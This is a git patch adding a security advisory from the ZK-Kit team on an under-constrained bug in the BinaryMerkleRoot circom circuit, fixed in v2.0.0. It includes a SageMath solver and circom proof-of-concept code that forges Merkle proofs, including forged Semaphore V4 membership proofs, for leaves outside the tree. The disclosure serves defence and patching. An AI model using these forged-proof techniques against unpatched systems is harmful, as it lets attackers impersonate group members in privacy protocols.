From e972660fdf400cf6fc9802aaa68d2bca735bb118 Mon Sep 17 00:00:00 2001 From: Vivian Plasencia Date: Wed, 2 Jul 2025 12:27:19 +0200 Subject: [PATCH] docs: add under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200 article (#486) --- ...inary-merkle-root-circuit-fixed-in-v200.md | 320 ++++++++++++++++++ .../cover.webp | Bin 0 -> 69412 bytes .../sage-math-semaphore.png | Bin 0 -> 452772 bytes .../sage-math-zk-kit-proof-length-1.png | Bin 0 -> 451188 bytes .../sage-math-zk-kit-proof-length-2.png | Bin 0 -> 454002 bytes 5 files changed, 320 insertions(+) create mode 100644 content/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200.md create mode 100644 public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp create mode 100644 public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.png create mode 100644 public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.png create mode 100644 public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.png diff --git a/content/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200.md b/content/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200.md new file mode 100644 index 0000000..41b3839 --- /dev/null +++ b/content/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200.md @@ -0,0 +1,320 @@ +--- +authors: ["ZK-Kit team"] # Add your name or multiple authors in an array +title: "Under-Constrained Bug in BinaryMerkleRoot Circuit (Fixed in v2.0.0)" # The title of your article +image: "/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp" # Image used as cover, Keep in mind the image size, where possible use .webp format, possibly images less then 200/300kb +tldr: "A bug in the BinaryMerkleRoot circuit allowed invalid Merkle tree leaves to produce valid zero-knowledge proofs due to missing constraints." #Short summary +date: "2025-07-01" # Publication date in ISO format +tags: ["zero-knowledge", "ZK-Kit", "circom", "Semaphore", "MACI"] # (Optional) Add relevant tags as an array of strings to categorize the article +projects: ["zk-kit", "semaphore", "maci"] +--- + +**Summary**: A bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit allowed users to generate valid zero-knowledge proofs with leaves that were not part of the Merkle tree. The issue stemmed from missing constraints on the binary selectors in the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit. This has been fixed in version [2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) by enforcing that all indices are binary inside the circuit. + +## Timeline + +On May 28th, the [OtterSec team](https://osec.io/) contacted the ZK-Kit team to report an under-constrained bug in the [BinaryMerkleRoot](https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom) circuit. + +We sincerely thank the two primary researchers from OtterSec who discovered the bug and provided code examples demonstrating it: Quasar and Tuyết. + +PSE has worked with OtterSec to identify projects vulnerable and reached out to them. + +After discussions with OtterSec and projects using this circuit to determine the most secure and robust way to address the issue, a fix was pushed, reviewed, and a new version of `BinaryMerkleRoot` was released on June 30 🎉: [v2.0.0](https://github.com/privacy-scaling-explorations/zk-kit.circom/releases/tag/binary-merkle-root.circom-v2.0.0) + +## Technical details + +When using the [MultiMux1](https://github.com/iden3/circomlib/blob/master/circuits/mux1.circom#L21) circuit, it's essential to ensure that the selector is 0 or 1. The `BinaryMerkleRoot` circuit was missing the constraints to enforce this. + +These constraints might not be necessary in projects that: +- Validate binary values in a separate circuit (outside this one), or +- Use a circuit like [Num2Bits](https://github.com/iden3/circomlib/blob/master/circuits/bitify.circom#L25), which ensures outputs are 0 or 1. + +Circuits like [Semaphore V4](https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom), which do not verify that path indices are binary (0 or 1) outside the circuit, are affected. Any circuit using `BinaryMerkleRoot` versions prior to `2.0.0` without enforcing binary constraints externally may also be affected. + +This issue makes it possible to generate a valid zero-knowledge proof with a leaf that is not in the Merkle tree, which would still verify successfully. Similarly, an attacker could generate a valid Semaphore V4 proof. + +### Solution + +Changes to `BinaryMerkleRoot`: +1. Replaced `indices[MAX_DEPTH]` with `index`: +Instead of passing an array of indices representing the Merkle path, the circuit now takes a single decimal `index`, whose binary representation defines the path. +2. Added before the `for` loop: +`signal indices[MAX_DEPTH] <== Num2Bits(MAX_DEPTH)(index);` +This line converts the decimal `index` into its binary representation. + +See the full update in this [pull request](https://github.com/privacy-scaling-explorations/zk-kit.circom/pull/25). + +If you need the circuit without the new constraints, please continue using version: `1.0.0` of the `BinaryMerkleRoot` circuit. + +With this bug fix, the Semaphore V4 circuit is being updated to use the latest version of `BinaryMerkleRoot`. A new trusted setup ceremony will be conducted, and all related Semaphore packages and contracts will be updated accordingly. + +## Reproducing the Bug + +Install [SageMath](https://www.sagemath.org/), version [10.5](https://github.com/3-manifolds/Sage_macOS/releases/tag/v2.5.0) was used for the code below, which generates test values to reproduce the bug. + +Given a commitment and its Merkle siblings, it's possible to take a different commitment and find a new set of siblings and indices that produce the same root. + +```py +# normal pair from exploit +target0 = 5407869850562333726769604095330004527418297248703115046359956082084347839061 +target1 = 18699903263915756199535533399390350858126023699350081471896734858638858200219 +p = 21888242871839275222246405745257275088548364400416034343698204186575808495617 +def mux(x, y, sel): + return [ + ((y - x)*sel + x) % p, + ((x - y)*sel + y) % p, + ] + +F = GF(p)['sel, S'] + +N = 8501798477768465939972755925731717646123222073408967613007180932472889698337 # evil commitment + +sel, S = F.gens() +m = mux(N, S, sel) +I = Ideal([m[0] - target0, m[1] - target1]) +v = I.variety()[0] +print("sel:", v[sel]) +print("S:", v[S]) +``` + +## Impact on ZK-Kit BinaryMerkleRoot circuit + +The following code can be tested on [zkrepl](https://zkrepl.dev/). + +Examples will be provided for proof lengths 1 and 2, but the same approach applies to proofs of greater length as well. + +### Proof Length 1 + +#### Steps + +1. Assign the value `5407869850562333726769604095330004527418297248703115046359956082084347839061` to `target0`. +2. Assign the value: `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target1`. +3. Set `N` to the commitment you want to test. For this example, use `8501798477768465939972755925731717646123222073408967613007180932472889698337`. +4. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). + +![Sage Math ZK-Kit Proof Length 1](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-1.png) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +template Poc () { + +// Root: 11531730952042319043316244572610162829336743623472270581141123607628087976577 +// / \ +// 5407869850562333726769604095330004527418297248703115046359956082084347839061 18699903263915756199535533399390350858126023699350081471896734858638858200219 + + + var identityCommitment = 5407869850562333726769604095330004527418297248703115046359956082084347839061; + var merkleProofLength = 1; + var merkleProofIndices[12] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var merkleProofSiblings[12] = [ + 18699903263915756199535533399390350858126023699350081471896734858638858200219, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var root = BinaryMerkleRoot(12)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); + log("========================================="); + var evilidentityCommitment = 8501798477768465939972755925731717646123222073408967613007180932472889698337; + var evilmerkleProofLength = 1; + var evilmerkleProofIndices[12] = [ + 18511496158608553025564813493375997586708949594403917543049321156580578626782, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var evilmerkleProofSiblings[12] = [ + 15605974636709623986332381568988637739421098874644228905249510008250316340943, 0, 0, 0, 0, 0, 0, + 0, 0, 0, 0, 0 + ]; + var evilroot = BinaryMerkleRoot(12)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 11531730952042319043316244572610162829336743623472270581141123607628087976577 +evilroot 11531730952042319043316244572610162829336743623472270581141123607628087976577 +``` + +### Proof Length 2 + +#### Steps + +1. Use the two nodes that generate the root as `target0` and `target1`, respectively. +2. Set the first value of `evilMerkleProofIndices` to 0. +3. Use your chosen value for `evilMerkleProofSiblings[0]`. +4. Set `evilIdentityCommitment` to the commitment you want to test. For this example, use `20487509512443004370293742889271596038604851758367067799025496182227063091563`. +5. For N, compute the Poseidon hash of `evilIdentityCommitment` and the sibling value you provided for `evilMerkleProofSiblings[0]`. +6. The program will then generate two new values, these correspond to `evilMerkleProofIndices[1]` and `evilMerkleProofSiblings[1]`. + +![Sage Math ZK-Kit Proof Length 2](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-zk-kit-proof-length-2.png) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +template Poc () { + +// Root: 3330844108758711782672220159612173083623710937399719017074673646455206473965 +// / \ +// 7853200120776062878684798364095072458815029376092732009249414926327459813530 14763215145315200506921711489642608356394854266165572616578112107564877678998 +// / \ / \ +// 1 2 3 4 + + + var identityCommitment = 1; + var merkleProofLength = 2; + var merkleProofIndices[10] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var merkleProofSiblings[10] = [ + 2, 14763215145315200506921711489642608356394854266165572616578112107564877678998, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var root = BinaryMerkleRoot(10)(identityCommitment, merkleProofLength, merkleProofIndices, merkleProofSiblings); + log("========================================="); + var evilidentityCommitment = 20487509512443004370293742889271596038604851758367067799025496182227063091563; + var evilmerkleProofLength = 2; + var evilmerkleProofIndices[10] = [ + 0, 20090961965327877873740014701675383996709275086978553778175856788671012923384, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmerkleProofSiblings[10] = [ + 123, 7220940974207102838199646378738698939797703046232240580227300284330411250489, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilroot = BinaryMerkleRoot(10)(evilidentityCommitment, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings); + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 3330844108758711782672220159612173083623710937399719017074673646455206473965 +evilroot 3330844108758711782672220159612173083623710937399719017074673646455206473965 +``` + +## Impact on Semaphore + +The following code can be tested on [zkrepl](https://zkrepl.dev/). + +#### Steps + +1. Create a Semaphore identity and assign its `secretScalar` to `secret`. +2. Assign `merkleProofLength`, `merkleProofIndices` and `merkleProofSiblings`, according to the tree. +4. Assign the `secretScalar` of the identity you want to test to `evilsecret`. The identity for the example is a deterministic Semaphore identity with private key: `"123456"`. +5. Assign the value `18699903263915756199535533399390350858126023699350081471896734858638858200219` to `target0`. +6. Assign the value: `15684639248941018939207157301644512532843622097494605257727533950250892147976` to `target1`. +7. Set `N` to the commitment of the Semaphore identity with secret scalar `evilsecret`, in this case `6064632857532276925033625901604953426426313622216578376924090482554191077680`. +8. You will get two values: `sel` (used in `evilmerkleProofIndices`) and `S` (used in `evilmerkleProofSiblings`). +9. Use any values you prefer for `message`, `scope`, `evilmessage` and `evilscope`. + +![Sage Math Semaphore](/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/sage-math-semaphore.png) + +#### Circom Code + +```circom +pragma circom 2.1.5; + +include "circomlib/circuits/poseidon.circom"; +include "circomlib/circuits/mux1.circom"; +include "circomlib/circuits/comparators.circom"; +include "circomlib/circuits/babyjub.circom"; + +// Copy/paste BinaryMerkleRoot circuit from https://github.com/privacy-scaling-explorations/zk-kit.circom/blob/binary-merkle-root.circom-v1.0.0/packages/binary-merkle-root/src/binary-merkle-root.circom + +// Copy/paste Semaphore circuit from https://github.com/semaphore-protocol/semaphore/blob/v4.11.1/packages/circuits/src/semaphore.circom + +template Poc () { + +// Root: 4905128572429258830106379299856267023583307500817503813881845182698965800745 +// / \ +// 18699903263915756199535533399390350858126023699350081471896734858638858200219 15684639248941018939207157301644512532843622097494605257727533950250892147976 + + + var secret = 1978755119068081247093963160279604962264019399313700915496711871956252953559; + var merkleProofLength = 1; + var merkleProofIndices[10] = [ + 0, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var merkleProofSiblings[10] = [ + 15684639248941018939207157301644512532843622097494605257727533950250892147976, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var message = 123; + var scope = 1; + + var (root, nullifier) = Semaphore(10)(secret, merkleProofLength, merkleProofIndices, merkleProofSiblings, message, scope); + log("========================================="); + + var evilsecret = 1352222402399481130087448567392608653639881123399864909525072050336173771260; + var evilmerkleProofLength = 1; + var evilmerkleProofIndices[10] = [ + 9228398241747548072288697997709004271591955927781758657125859189315051293271, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmerkleProofSiblings[10] = [ + 6431666783485222991462659054172634875994967774212074009001974139759750774898, 0, 0, 0, 0, 0, 0, + 0, 0, 0 + ]; + var evilmessage = 123; + var evilscope = 1; + + var (evilroot, evilnullifier) = Semaphore(10)(evilsecret, evilmerkleProofLength, evilmerkleProofIndices, evilmerkleProofSiblings, evilmessage, evilscope); + + log("root", root); + log("evilroot", evilroot); +} + +component main = Poc(); + +/* INPUT = { + +} */ +``` + +#### Result + +Identical roots: + +``` +root 4905128572429258830106379299856267023583307500817503813881845182698965800745 +evilroot 4905128572429258830106379299856267023583307500817503813881845182698965800745 +``` diff --git a/public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp b/public/articles/under-constrained-bug-in-binary-merkle-root-circuit-fixed-in-v200/cover.webp new file mode 100644 index 0000000000000000000000000000000000000000..6aa8c9e36298d9406c312d3066e79838d27d05b1 GIT binary patch literal 69412 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